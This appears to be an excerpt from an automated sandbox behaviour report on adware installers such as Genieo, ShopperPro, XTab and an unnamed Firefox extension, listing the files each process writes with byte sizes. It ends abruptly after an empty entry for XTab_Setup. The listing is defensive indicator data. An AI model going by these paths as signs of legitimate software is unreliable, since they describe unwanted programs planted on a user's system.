C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\conf\partner.properties (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\tray_normal.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\fr_text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_rgn_image.bmp (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\firefox-bar-16.png (586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\css\notify_partner.css (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso9E82.tmp\fct.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sethpButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\prep_env.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\uac_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\ru_complete.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\error.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\prep_env_err.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\text.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\ru_text.properties (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\1_downloading.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\network_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\en_text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\desktop.ico (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo_old\text (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\fr_complete.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\icon-16-enabled.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\partner_uninstall.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-disable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-disable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\firefox-bar-24.png (727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\hide_notification.png (165 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-4.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-4.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\3_mapping.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\4_creating.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\4_creating.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\footer_right_logo.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\genieo-16icon-browser.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-enabled_18px.png (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\noItems.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\tray_awaitingMessage.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\off.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo_old\img (24 bytes)

The process genupdater.exe:3948 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\framework_setup.gen (1027548 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\upgrade\updater_manifest.xml (297 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\genieo_setup.gen (62942 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\conf\updater_manifest.xml (297 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\genieo_temp\trayapp_setup.gen (201198 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\upgrade\partner_manifest.xml (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\log\Updater.log (11205 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\upgrade\manifest.xml (644 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Data\Updater\conf\partner_manifest.xml (550 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Updater\bin\firsttime_setup.exe (49 bytes)

The process INS_SENSE.EXE:3904 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\wsukuicep.dll (2138 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\eodefhbq.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\Bientrmqu.exe (1601426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\zejghs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn2EAE.tmp\Fgaaylgtspqoin.tmp (338643 bytes)

The process 9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.exe:3424 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (679 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a04376d018c7f57166784c7b7c9ce26a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\203215960bc84b34779290b6686af3ba.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\90e63d036d2b9fc12cd158b4f539bcbe.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\feba16e431acf6787d798f5a9a25b461.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1da4e9cb9c8d71af99bf141e81c9e6f0.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\712a835c7109cc69e3574b45cfcfd417.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8b85c7d2bded4479e129e5c1d0805d63.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\7e2e496c414774497d9dbb5764fe5ef4.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\041f658ab7a6b65be3e324c7aa4ac506.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7ab8be2ef32b671b93614c870b06ae6a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2a7c678b2272bba275ef9d86a0b08332.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1b18fee2faac28dd1ee96e5d1e201f7f.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\1da572708687d862c6b62a1b83e919cc.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\78f54dac2a4f588680104283fbe62691.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4909a6b4e28c7f6b9de3902522ce7efc.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\eded739ec030aa9a10fdf987e0819c83.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\af8becceb61699fdda6fda5db07ef247.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b9ffe49f07117f8c01997eec767be8b4.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3cc7b20c09822fd33288371b61edea74.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\875058d03a1a2214ea5073412184f4d7.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\3a676029ed47abd5aa7270175a0fbb66.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e4bbf50f3d02f4d934a320deaac87882.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1d344bfd9173f6e94a7d3eec0cf5ec60.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\191a32615411c2e29c63a4b4035c3dbc.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\aa0c5a0f9886dd7a5611ba4fdf62df2a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f627987faa37a3c1b3d042588a758664.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c87fc0b4e8e63cf7f630e5148e9ecf71.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c2b639e81cacfde3f6e6787f80abf255.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dfc576fc098717484dcf8ac65144ef04.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d4a3dc407cd4febf3a1a35d528b32230.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\91a809632c08ba4282cd911f93794d8a.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c7ee020dd8873c9596905f760b5b7e2f.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\5f77cb9554036a195eb4e87da9fcb490.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9a572273f1b919d122b6871d7e510574.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\16b011ab2d432db295222e46c614a9b8.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9aacec53ae48048ec99c22a279d42718.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\21593193bec22fe30071c32e3e04ffc2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8042702cc192b8f516306685e337308a.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e7b65c22c598e6947a69fe126508c4cf.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\2b2114963a417d68246eba3fe28958be.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ee1f3734d5ebdc97ece9eb8ccc8f5f85.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\6ff504dd44cc8b0b2447ac42877c9691.js (5 bytes)

The process taskeng.exe:3284 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1.42.1.1835\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:2456 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7F9.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB7FA.tmp\4D90EAE405E9E2FF (34773 bytes)

The process GLJCFEC.tmp:3460 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process XTab_Setup(2409).exe:3176 makes changes in the file system.
The Application creates and/or writes to the following file(s):

